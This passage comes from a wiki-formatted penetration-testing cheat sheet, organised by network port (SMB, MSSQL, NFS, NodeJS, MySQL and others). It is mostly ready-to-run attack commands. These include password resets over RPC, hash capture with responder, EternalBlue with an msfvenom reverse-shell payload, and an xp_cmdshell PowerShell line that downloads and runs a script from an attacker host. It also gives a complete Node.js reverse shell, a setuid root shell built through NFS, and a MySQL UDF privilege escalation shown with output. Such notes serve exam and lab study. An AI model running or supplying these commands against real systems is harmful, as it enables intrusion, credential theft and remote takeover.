Get group members: querygroupmem&lt;br /&gt;
Aliasgroups enumeration&lt;br /&gt;
List alias: enumalsgroups&lt;br /&gt;
Get members: queryaliasmem builtin|domain&lt;br /&gt;
# Domains enumeration&lt;br /&gt;
List domains: enumdomains&lt;br /&gt;
Get SID: lsaquery&lt;br /&gt;
Domain info: querydominfo&lt;br /&gt;
# Shares enumeration&lt;br /&gt;
Enumerate all available shares: netshareenumall&lt;br /&gt;
Info about a share: netsharegetinfo&lt;br /&gt;
# More SIDs&lt;br /&gt;
Find SIDs by name: lookupnames&lt;br /&gt;
Find more SIDs: lsaenumsid&lt;br /&gt;
RID cycling (check more SIDs): lookupsids&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Password Reset over RPC ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://room362.com/post/2017/reset-ad-user-password-with-linux/&lt;br /&gt;
rpcclient $&amp;gt; setuserinfo2&lt;br /&gt;
rpcclient $&amp;gt; setuserinfo2 audit2020 23 &#039;Password123!&#039;&lt;br /&gt;
# One-liner&lt;br /&gt;
root@kali# rpcclient -U &#039;blackfield.local/support%#00^BlackKnight&#039; 10.10.10.192 -c &#039;setuserinfo2 audit2020 23 &amp;quot;Password123!&amp;quot;&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 139, 445 - SMB/SAMBA ==&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crackmapexec smb  -u  -p&lt;br /&gt;
hydra -V -f -L  -P  smb:// -u -vV&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture hash using responder or smbserver ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker start responder or smbserver.&lt;br /&gt;
responder -I attackerip&lt;br /&gt;
/usr/bin/impacket-smbserver share . -smb2support&lt;br /&gt;
# On target&lt;br /&gt;
dir \\attackerip\something&lt;br /&gt;
view=//attackerip/share&lt;br /&gt;
# Looking at the smbserver or responder you should have a NetNTLM hash. Copy all the text and use hashcat -m 5600 to crack it.&lt;br /&gt;
# Example&lt;br /&gt;
ted::EXAM:aaaaaaaaaaaaaaaa:a8ecd5aa9380ac8a4fbb1675b1ecaaaf:010100000000000000171a603bf4d801c188d310ceebaab30000000001001000680070006d00700048004d004600620003001000680070006d00700048004d00460062000200100075006d005200700049007400570058000400100075006d005200700049007400570058000700080000171a603bf4d8010600040002000000080030003000000000000000010000000020000096dbb345b8d0cc5a1bc8d14cd3277457913639d19c3307e6e04ee03bb7864ee20a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100310039002e003200330036000000000000000000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Command Execution through smbmap ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbmap -u &#039;backup&#039; -p &#039;backup&#039;  -H 10.11.1.227 -x &amp;quot;net user&amp;quot; --mode psexec&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Download files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Download all&lt;br /&gt;
smbclient ///&lt;br /&gt;
&amp;gt; mask &amp;quot;&amp;quot;&lt;br /&gt;
&amp;gt; recurse&lt;br /&gt;
&amp;gt; prompt&lt;br /&gt;
&amp;gt; mget *&lt;br /&gt;
#Download everything to current directory&lt;br /&gt;
&lt;br /&gt;
# Download all files from a directory recursively&lt;br /&gt;
smbclient /// -U  -c &amp;quot;prompt OFF;recurse ON;mget *&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== EternalBlue ms17-010 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/worawit/MS17-010/&lt;br /&gt;
https://github.com/helviojunior/MS17-010 # Modified version of worawits repo&lt;br /&gt;
# If windows xp, use send_and_execute.py&lt;br /&gt;
# Generate payload using msfvenom&lt;br /&gt;
python2 send_and_execute.py 10.10.10.10 shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enumerate samba version ===&lt;br /&gt;
&lt;br /&gt;
[https://4pfsec.com/manually-enumerating-smb-version/ https://4pfsec.com/manually-enumerating-smb-version/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Run the below script while wireshark is listening&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
#Author: rewardone&lt;br /&gt;
#Description:&lt;br /&gt;
# Requires root or enough permissions to use tcpdump&lt;br /&gt;
# Will listen for the first 8 packets of a null login&lt;br /&gt;
# and grab the SMB Version&lt;br /&gt;
#Notes:&lt;br /&gt;
# Will sometimes not capture or will print multiple&lt;br /&gt;
# lines. May need to run a second time for success.&lt;br /&gt;
if [ -z $1 ]; then echo &amp;quot;Usage: ./smbver.sh RHOST {RPORT}&amp;quot; &amp;amp;&amp;amp; exit; else rhost=$1; fi&lt;br /&gt;
if [ ! -z $2 ]; then rport=$2; else rport=139; fi&lt;br /&gt;
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 10 2&amp;gt;/dev/null | grep -i &amp;quot;samba\|s.a.m&amp;quot; | tr -d &#039;.&#039; | grep -oP &#039;UnixSamba.*[0-9a-z]&#039; | tr -d &#039;\n&#039; &amp;amp; echo -n &amp;quot;$rhost: &amp;quot; &amp;amp;&lt;br /&gt;
echo &amp;quot;exit&amp;quot; | smbclient -L $rhost 1&amp;gt;/dev/null 2&amp;gt;/dev/null&lt;br /&gt;
echo &amp;quot;&amp;quot; &amp;amp;&amp;amp; sleep .1&lt;br /&gt;
# Once you&#039;ve run the script, go back to wireshark and follow one of the smb TCP stream&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Enumerate ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
enum4linux -A&lt;br /&gt;
nmap -v -p 139,445 -oG smb.txt 192.168.11.200-254&lt;br /&gt;
nbtscan -r 192.168.11.0/24&lt;br /&gt;
nmblookup -A target&lt;br /&gt;
rpcclient -U &amp;quot;&amp;quot; target // connect as blank user /nobody&lt;br /&gt;
smbclient ///&lt;br /&gt;
smbclient -L //&lt;br /&gt;
smbclient //192.168.31.147/kathy -I 192.168.31.147&lt;br /&gt;
smbmap -H&lt;br /&gt;
smbmap -u &#039;&#039; -p &#039;&#039; -H&lt;br /&gt;
smbmap -u &#039;guest&#039; -p &#039;&#039; -H&lt;br /&gt;
smbmap -u &#039;&#039; -p &#039;&#039; -H  -R&lt;br /&gt;
smbmap -u &amp;quot;&amp;quot; -p &amp;quot;&amp;quot; -d MYGROUP -H 10.11.1.22&lt;br /&gt;
crackmapexec smb&lt;br /&gt;
crackmapexec smb  -u &#039;&#039; -p &#039;&#039;&lt;br /&gt;
crackmapexec smb  -u &#039;guest&#039; -p &#039;&#039;&lt;br /&gt;
crackmapexec smb  -u &#039;&#039; -p &#039;&#039; --shares&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mount share ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mount -t auto --source //x.x.x.x&lt;br /&gt;
mount -t cifs //x.x.x.x/share /mnt/share&lt;br /&gt;
mount -t cifs -o &amp;quot;username=user,password=password&amp;quot; //x.x.x.x/share /mnt/share&lt;br /&gt;
smbclient ///&lt;br /&gt;
smbclient /// -U&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
psexec.py /:@&lt;br /&gt;
psexec.py /@ -hashes :&lt;br /&gt;
wmiexec.py /:@&lt;br /&gt;
wmiexec.py /@ -hashes :&lt;br /&gt;
smbexec.py /:@&lt;br /&gt;
smbexec.py /@ -hashes :&lt;br /&gt;
atexec.py /:@&lt;br /&gt;
atexec.py /@ -hashes :&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Eternal Blue ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
MS17-010 - EternalBlue&lt;br /&gt;
MS08-067 - MS08-067&lt;br /&gt;
CVE-2017-7494 - CVE-2017-7494&lt;br /&gt;
# Send_and_Exectue.py&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.17 LPORT=4444 &amp;gt; exploit.exe&lt;br /&gt;
python2 send_and_execute.py 10.10.10.40 exploit.exe&lt;br /&gt;
-----------------------------------------&lt;br /&gt;
# Command Execution&lt;br /&gt;
https://www.exploit-db.com/exploits/42315&lt;br /&gt;
# Uncomment this line and add your CMD&lt;br /&gt;
service_exec(conn, r&#039;cmd /c copy c:\pwned.txt c:\pwned_exec.txt&#039;)&lt;br /&gt;
-----------------------------------------&lt;br /&gt;
# AutoBlue&lt;br /&gt;
# Generate shellcode from shell_prep.sh&lt;br /&gt;
https://github.com/3ndG4me/AutoBlue-MS17-010&lt;br /&gt;
python eternalblue_exploit*.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Man in the middle ===&lt;br /&gt;
&lt;br /&gt;
==== URI file attack ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup for Vault&lt;br /&gt;
# If Windows host and SMB share is writeable we can upload a file that the target will interpret as a Windows shortcut. We will need Responder.&lt;br /&gt;
Kali &amp;gt; cat @file.url # Can also save as desktop.ini&lt;br /&gt;
[InternetShortcut]&lt;br /&gt;
URL=anything&lt;br /&gt;
WorkingDirectory=anything&lt;br /&gt;
IconFile=\\192.168.118.14\%USERNAME%.icon&lt;br /&gt;
IconIndex=1&lt;br /&gt;
# Start responder&lt;br /&gt;
sudo responder -I tun0 -v&lt;br /&gt;
# Hashtype&lt;br /&gt;
net-NTLMv2&lt;br /&gt;
# Upload file to SMB and wait for a user to access the file.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 161 - SNMP ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
snmp-check  [-p PORT]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 194,6667,6660-7000 - IRC ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Can use different clients, like irssi&lt;br /&gt;
# See notes from box; UT99&lt;br /&gt;
#Connection with random nickname&lt;br /&gt;
USER ran213eqdw123 0 * ran213eqdw123&lt;br /&gt;
NICK ran213eqdw123&lt;br /&gt;
#If a PING : is responded you need to send&lt;br /&gt;
#PONG :&lt;br /&gt;
VERSION&lt;br /&gt;
HELP&lt;br /&gt;
INFO&lt;br /&gt;
LINKS&lt;br /&gt;
HELPOP USERCMDS&lt;br /&gt;
HELPOP OPERCMDS&lt;br /&gt;
OPERATOR CAPA&lt;br /&gt;
ADMIN      #Admin info&lt;br /&gt;
USERS      #Current number of users&lt;br /&gt;
TIME       #Server&#039;s time&lt;br /&gt;
STATS a    #Only operators should be able to run this&lt;br /&gt;
NAMES      #List channel names and usernames inside of each channel -&amp;gt; Nombre del canal y nombre de las personas que estan dentro&lt;br /&gt;
LIST       #List channel names along with channel banner&lt;br /&gt;
WHOIS       #WHOIS a username&lt;br /&gt;
USERHOST    #If available, get hostname of a user&lt;br /&gt;
USERIP      #If available, get ip of a user&lt;br /&gt;
JOIN    #Connect to a channel&lt;br /&gt;
#Operator creds Brute-Force&lt;br /&gt;
OPER&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 389, 636, 3268, 3269 - LDAP ==&lt;br /&gt;
&lt;br /&gt;
=== Enumerate LDAP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -n -sV --script &amp;quot;ldap* and not brute&amp;quot; -p 389 dc-ip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump LDAP info ===&lt;br /&gt;
&lt;br /&gt;
Must have valid credentials&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pip3 install ldapdomaindump&lt;br /&gt;
ldapdomaindump  [-r ] -u &#039;\&#039; -p &#039;&#039; [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Search queries ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ldapsearch opens a connection to an LDAP server, binds, and performs a search using specified parameters.&lt;br /&gt;
ldapsearch -x -h  -b &amp;quot;dc=XXXX&amp;quot;&lt;br /&gt;
# Example&lt;br /&gt;
ldapsearch -x -H LDAP://192.168.89.122 -b &amp;quot;dc=hutch,dc=offsec&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 873 - rsync ==&lt;br /&gt;
&lt;br /&gt;
=== Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync&lt;br /&gt;
# List shares&lt;br /&gt;
rsync -av --list-only rsync://192.168.243.126/&lt;br /&gt;
# Upload files&lt;br /&gt;
rsync -av test.txt rsync://192.168.243.126/fox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Upload SSH key ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1 Generate an SSH key&lt;br /&gt;
ssh-keygen -t rsa&lt;br /&gt;
# 2 If you are in a users folder, create a .ssh&lt;br /&gt;
mkdir .ssh&lt;br /&gt;
rsync -av .ssh TARGET_IP/home_dir/&lt;br /&gt;
# 3 Create a authorized_keys file and add the content of id_rsa.pub to this file&lt;br /&gt;
touch authorized_keys&lt;br /&gt;
echo -n &#039;CONTENT of id_rsa.pub&#039; &amp;gt;&amp;gt; authorized_keys&lt;br /&gt;
# 4 Transfer the authorized_keys to the target&lt;br /&gt;
rsync -av authorized_keys TARGET_IP/home_dir/.ssh/&lt;br /&gt;
# 5 SSH into the machine. You need to know the owner of home_dir&lt;br /&gt;
ssh -i id_rsa USER@TARGETIP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.netspi.com/blog/technical/network-penetration-testing/linux-hacking-case-studies-part-1-rsync/&lt;br /&gt;
https://book.hacktricks.xyz/pentesting/873-pentesting-rsync&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1098/1099/1050 - Java RMI ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Running Remote Method Guesser&lt;br /&gt;
# https://github.com/qtc-de/remote-method-guesser#installation&lt;br /&gt;
java -jar rmg-4.3.0-jar-with-dependencies.jar&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1433 - MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Microsoft SQL Server 2017 directory locations ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
\program files\microsoft sql server\mssql14.sqlexpress\mssql\backup\master.mdf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Execute commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-commands&lt;br /&gt;
# Log in to mssql&lt;br /&gt;
/usr/bin/impacket-mssqlclient -db volume -windows-auth /:@&lt;br /&gt;
# Execute commands&lt;br /&gt;
# Username + Password + CMD command&lt;br /&gt;
crackmapexec mssql -d  -u  -p  -x &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Username + Hash + PS command&lt;br /&gt;
crackmapexec mssql -d  -u  -H  -X &#039;$PSVersionTable&#039;&lt;br /&gt;
# this turns on advanced options and is needed to configure xp_cmdshell&lt;br /&gt;
sp_configure &#039;show advanced options&#039;, &#039;1&#039;&lt;br /&gt;
RECONFIGURE&lt;br /&gt;
# this enables xp_cmdshell&lt;br /&gt;
sp_configure &#039;xp_cmdshell&#039;, &#039;1&#039;&lt;br /&gt;
RECONFIGURE&lt;br /&gt;
# Quickly check what the service account is via xp_cmdshell&lt;br /&gt;
EXEC master..xp_cmdshell &#039;whoami&#039;&lt;br /&gt;
# Bypass blackisted &amp;quot;EXEC xp_cmdshell&amp;quot;&lt;br /&gt;
‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== xp_cmdshell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#hacktricks-automatic-commands&lt;br /&gt;
# Need credentials&lt;br /&gt;
sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G&lt;br /&gt;
    ###the goal is to get xp_cmdshell working###&lt;br /&gt;
    1. try and see if it works&lt;br /&gt;
        xp_cmdshell `whoami`&lt;br /&gt;
        go&lt;br /&gt;
    2. try to turn component back on&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;xp_cmdshell&#039; , 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        xp_cmdshell `whoami`&lt;br /&gt;
        go&lt;br /&gt;
    3. &#039;advanced&#039; turn it back on&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;show advanced options&#039;, 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;xp_cmdshell&#039; , 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        xp_cmdshell &#039;whoami&#039;&lt;br /&gt;
        go&lt;br /&gt;
    xp_cmdshell &amp;quot;powershell.exe -exec bypass iex(new-object net.webclient).downloadstring(&#039;http://10.10.14.60:8000/ye443.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extracting hashes from .mdf file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xpn/Powershell-PostExploitation&lt;br /&gt;
# read this if troulbe&lt;br /&gt;
https://github.com/xpn/Powershell-PostExploitation/issues/1&lt;br /&gt;
# Run Powershell on linux&lt;br /&gt;
pwsh&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Add-Type -Path &#039;OrcaMDF.RawCore.dll&#039;&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Add-Type -Path &#039;OrcaMDF.Framework.dll&#039;&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; import-module .\Get-MDFHashes.ps1&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Get-MDFHashes -mdf &amp;quot;./master.mdf&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1521, 1522-1529 - Oracle TNS Listener ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1978, 1979, 1980 - Remote Mouse ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use nc to check header&lt;br /&gt;
# SIN 15win pwd pwd 300 : Indicating that the service requires authentication.&lt;br /&gt;
# SIN 15win nop nop 300 : Indicating that the service does not require authentication.&lt;br /&gt;
# Then use this exploit. Check writeup for PG mice and PWK IT dept 10.1.1.89.&lt;br /&gt;
https://github.com/p0dalirius/RemoteMouse-3.008-Exploit&lt;br /&gt;
# Edit the script to point to your Python HTTP server where nishang invoke tcp script is ready.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 2049 - NFS ==&lt;br /&gt;
&lt;br /&gt;
=== no_root_squash ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1252#Privilege_Escalation_NFS&lt;br /&gt;
&lt;br /&gt;
=== Access NFS through ssh tunnel ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Source https://medium.com/vieh-group/hacking-oscp-cheatsheet-ef63c43f919c&lt;br /&gt;
# Output from /etc/exports on target&lt;br /&gt;
/srv/Share 10.1.1.0/24(insecure,rw)&lt;br /&gt;
/srv/Share 127.0.0.1/32(no_root_squash,insecure,rw)&lt;br /&gt;
# Forward connection - Run the ssh command on attacker&lt;br /&gt;
ssh -f -N megumin@192.168.42.43 -L 2049:127.0.0.1:2049&lt;br /&gt;
mount -t nfs 127.0.0.1:/srv/pelota my_share&lt;br /&gt;
cd my_share&lt;br /&gt;
cat &amp;gt; shell.c&lt;br /&gt;
int main(){&lt;br /&gt;
  setuid(0);&lt;br /&gt;
  setgid(0);&lt;br /&gt;
  system(&amp;quot;/bin/bash&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
EOF&lt;br /&gt;
gcc shell.c -o shell&lt;br /&gt;
chmod u+s shell&lt;br /&gt;
# Reverse connection - Run the ssh command on target&lt;br /&gt;
# Beware that this means target will access attacker through ssh. Not as safe as forward connection.&lt;br /&gt;
ssh -N -R 192.168.119.176:2221:127.0.0.1:2049 aghanim@192.168.119.176&lt;br /&gt;
mount -v -t nfs -o port=2221,tcp localhost:/srv/Share mount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3000 - NodeJs ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell&lt;br /&gt;
# The Javascript code below is a Node.js reverse shell.&lt;br /&gt;
# Remember to change the IP address and PORT with the nc you are running.&lt;br /&gt;
(function(){&lt;br /&gt;
    var net = require(&amp;quot;net&amp;quot;),&lt;br /&gt;
        cp = require(&amp;quot;child_process&amp;quot;),&lt;br /&gt;
        sh = cp.spawn(&amp;quot;/bin/sh&amp;quot;, []);&lt;br /&gt;
    var client = new net.Socket();&lt;br /&gt;
    client.connect(8080, &amp;quot;192.168.33.1&amp;quot;, function(){&lt;br /&gt;
        client.pipe(sh.stdin);&lt;br /&gt;
        sh.stdout.pipe(client);&lt;br /&gt;
        sh.stderr.pipe(client);&lt;br /&gt;
    });&lt;br /&gt;
    return /a/; // Prevents the Node.js application form crashing&lt;br /&gt;
})();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3306 - MySQL/MariaDB ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf&lt;br /&gt;
# User-defined function (UDF)&lt;br /&gt;
# If you can login as root you can create a malicious functions to run commands.&lt;br /&gt;
https://www.exploit-db.com/exploits/1518&lt;br /&gt;
# You can also compile it on attacker if target dont have gcc. Use --static.&lt;br /&gt;
# Check if secure_file_priv. If empty means disabled&lt;br /&gt;
show variables like &#039;%secure_file_priv%&#039;;&lt;br /&gt;
# Find plugin path. Add the path on step file (dumpfile)&lt;br /&gt;
show variables like &#039;%plugin%&#039;;&lt;br /&gt;
$ gcc -g -c raptor_udf2.c&lt;br /&gt;
 * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc&lt;br /&gt;
# Can also transfer exploit raptor_udf2.so with hex.&lt;br /&gt;
## xxd -p raptor_udf2.so | tr -d &#039;\n&#039; &amp;gt; raptor_udf2.so.hex&lt;br /&gt;
 * $ mysql -u root -p&lt;br /&gt;
 * Enter password:&lt;br /&gt;
 * [...]&lt;br /&gt;
# Set variable for shellcode&lt;br /&gt;
## set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;&lt;br /&gt;
 * mysql&amp;gt; use mysql;&lt;br /&gt;
 * mysql&amp;gt; create table foo(line blob);&lt;br /&gt;
 * mysql&amp;gt; insert into foo values(load_file(&#039;/home/raptor/raptor_udf2.so&#039;));&lt;br /&gt;
# Output shellcode to file on target&lt;br /&gt;
## select binary @shell into dumpfile &#039;/usr/lib/raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; select * from foo into dumpfile &#039;/usr/lib/raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; create function do_system returns integer soname &#039;raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; select * from mysql.func;&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * | name      | ret | dl             | type     |&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * | do_system |   2 | raptor_udf2.so | function |&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * mysql&amp;gt; select do_system(&#039;id &amp;gt; /tmp/out; chown raptor.raptor /tmp/out&#039;);&lt;br /&gt;
# OR&lt;br /&gt;
select do_system(&#039;cp /bin/bash /tmp/out; chmod +xs /tmp/out&#039;);&lt;br /&gt;
 * mysql&amp;gt; \! sh&lt;br /&gt;
 * sh-2.05b$ cat /tmp/out&lt;br /&gt;
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)&lt;br /&gt;
 * [...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation method 2 ===&lt;br /&gt;
&lt;br /&gt;
